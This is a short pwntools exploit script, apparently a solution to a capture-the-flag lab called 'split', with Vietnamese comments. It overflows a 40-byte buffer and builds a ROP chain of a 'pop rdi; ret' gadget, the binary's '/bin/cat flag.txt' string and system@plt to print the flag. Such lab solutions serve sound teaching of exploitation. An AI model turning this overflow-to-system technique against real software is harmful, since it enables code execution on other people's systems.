#!/usr/bin/env python3
# Lab 6.4 split: pop rdi = &usefulString ("/bin/cat flag.txt"), roi goi system.
from pwn import *

context.binary = elf = ELF('./split')
context.log_level = 'info'
io = process('./split')

offset = 40
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # gadget nhet san
ret     = rop.find_gadget(['ret'])[0]
binsh   = elf.sym['usefulString']
system  = elf.plt['system']
log.info('pop rdi ; ret = %#x', pop_rdi)
log.info('usefulString  = %#x', binsh)
log.info('system@plt     = %#x', system)

payload = flat(b'A' * offset, ret, pop_rdi, binsh, system)
io.sendafter(b'>', payload)
out = io.recvall(timeout=5).decode(errors='replace')
print(out)
assert 'FLAG{' in out, 'FAIL: khong doc duoc flag'
log.success('split OK: da in flag')